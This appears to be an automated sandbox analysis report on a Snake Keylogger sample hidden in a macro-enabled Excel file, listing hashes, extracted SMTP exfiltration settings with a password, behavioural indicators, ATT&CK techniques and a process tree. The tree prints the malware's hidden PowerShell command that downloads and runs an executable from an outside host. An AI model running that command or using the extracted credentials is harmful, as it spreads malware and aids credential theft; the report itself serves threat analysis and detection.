snakekeylogger | 88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39

Analysis

max time kernel
133s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2024 13:58

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General

Target

88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39(1).xlsm
Size

435KB
MD5

adfcfa59a06bbc5a0faa8f5b0ff663fe
SHA1

01d4b8e70b641863727d671e9b087633f3b3a37e
SHA256

88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39
SHA512

0749086410e6ebaab4a23a2eb46e0bddafa134c8a704ec6b1b860a6d9016d6a6b877c2cff6be5eb5161c214fbdf731ad002fec0ab155d1e4557ee30c5a1bf836
SSDEEP

12288:el3PBexJxH0cZtSlOSgjG3IWNqAvfTYxv25EN:e5PBexJJF2cSwG4ofTn5Y

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
juguly.shop
Port:
587
Username:
[email protected]
Password:
rEBS93U9rKLG
Email To:
[email protected]

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4920	2216	powershell.exe	82

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/2476-1240-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4032 created 3480	4032	tmp7FF7.exe	54

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	4920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4920	powershell.exe
4920	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svcost.vbs	tmp7FF7.exe

Executes dropped EXE 1 IoCs

pid	Process
4032	tmp7FF7.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4032 set thread context of 2476	4032	tmp7FF7.exe	101

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp7FF7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2216	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe
4032	tmp7FF7.exe
2476	InstallUtil.exe
2476	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	4032	tmp7FF7.exe
Token: SeDebugPrivilege	4032	tmp7FF7.exe
Token: SeDebugPrivilege	2476	InstallUtil.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE
2216	EXCEL.EXE

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 4920	2216	EXCEL.EXE	87
PID 2216 wrote to memory of 4920	2216	EXCEL.EXE	87
PID 4920 wrote to memory of 4032	4920	powershell.exe	94
PID 4920 wrote to memory of 4032	4920	powershell.exe	94
PID 4920 wrote to memory of 4032	4920	powershell.exe	94
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101
PID 4032 wrote to memory of 2476	4032	tmp7FF7.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3480
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\88671a5d96d0741f41a8fab45db69ba8331ab55d6cc3fe0077ea3d7f30d82d39(1).xlsm"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://cia.tf/2ed7362e959d42385d4e6d231a6840dd.exe" -OutFile $TempFile; Start-Process $TempFile;
    3⤵
    - Process spawned unexpected child process
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Users\Admin\AppData\Local\Temp\tmp7FF7.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp7FF7.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4032
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vltuk5a4.kwv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7FF7.exe

Filesize
1.0MB

MD5
2ed7362e959d42385d4e6d231a6840dd

SHA1
b3cc47ac92296d978fc991d9658c771f225dbf18

SHA256
13cb2135790780947be355c3c9ed42be1987c9e64d6cd0c43a5a4c5ae289dc30

SHA512
66553bb74d63e2d8bb47751f87f93dee66c4acbe647115dea5148d6b301f0a6802ae972a3fc26c1bcf9412775f1fbfd6238c1b477f726e0386cdef183551b758

Download Submit
memory/2216-12-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-53-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-3-0x00007FFD2E970000-0x00007FFD2E980000-memory.dmp

Filesize
64KB

Download
memory/2216-2-0x00007FFD2E970000-0x00007FFD2E980000-memory.dmp

Filesize
64KB

Download
memory/2216-4-0x00007FFD2E970000-0x00007FFD2E980000-memory.dmp

Filesize
64KB

Download
memory/2216-5-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-6-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-7-0x00007FFD2E970000-0x00007FFD2E980000-memory.dmp

Filesize
64KB

Download
memory/2216-10-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-9-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-11-0x00007FFD2C550000-0x00007FFD2C560000-memory.dmp

Filesize
64KB

Download
memory/2216-8-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-1048-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-1-0x00007FFD6E98D000-0x00007FFD6E98E000-memory.dmp

Filesize
4KB

Download
memory/2216-33-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-16-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-15-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-32-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-14-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-0-0x00007FFD2E970000-0x00007FFD2E980000-memory.dmp

Filesize
64KB

Download
memory/2216-57-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/2216-55-0x00007FFD6E98D000-0x00007FFD6E98E000-memory.dmp

Filesize
4KB

Download
memory/2216-13-0x00007FFD2C550000-0x00007FFD2C560000-memory.dmp

Filesize
64KB

Download
memory/2476-1243-0x00000000063C0000-0x0000000006582000-memory.dmp

Filesize
1.8MB

Download
memory/2476-1242-0x00000000061A0000-0x00000000061F0000-memory.dmp

Filesize
320KB

Download
memory/2476-1244-0x0000000006220000-0x000000000622A000-memory.dmp

Filesize
40KB

Download
memory/2476-1240-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2476-1241-0x0000000004E80000-0x0000000004F1C000-memory.dmp

Filesize
624KB

Download
memory/4032-123-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-85-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-129-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-127-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-95-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-119-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-115-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-113-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-111-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-109-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-107-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-105-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-101-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-99-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-97-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-93-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-91-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-89-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-87-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-103-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-83-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-81-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-77-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-75-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-125-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-121-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-117-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-79-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-74-0x00000000054C0000-0x00000000055AC000-memory.dmp

Filesize
944KB

Download
memory/4032-73-0x0000000005810000-0x00000000058A2000-memory.dmp

Filesize
584KB

Download
memory/4032-1227-0x00000000058B0000-0x0000000005912000-memory.dmp

Filesize
392KB

Download
memory/4032-1228-0x0000000005960000-0x00000000059AC000-memory.dmp

Filesize
304KB

Download
memory/4032-1232-0x00000000059B0000-0x0000000005A04000-memory.dmp

Filesize
336KB

Download
memory/4032-72-0x0000000005CC0000-0x0000000006264000-memory.dmp

Filesize
5.6MB

Download
memory/4032-71-0x00000000054C0000-0x00000000055B2000-memory.dmp

Filesize
968KB

Download
memory/4032-70-0x0000000000400000-0x000000000050A000-memory.dmp

Filesize
1.0MB

Download
memory/4920-36-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download
memory/4920-52-0x00000138C02E0000-0x00000138C0302000-memory.dmp

Filesize
136KB

Download
memory/4920-68-0x00007FFD6E8F0000-0x00007FFD6EAE5000-memory.dmp

Filesize
2.0MB

Download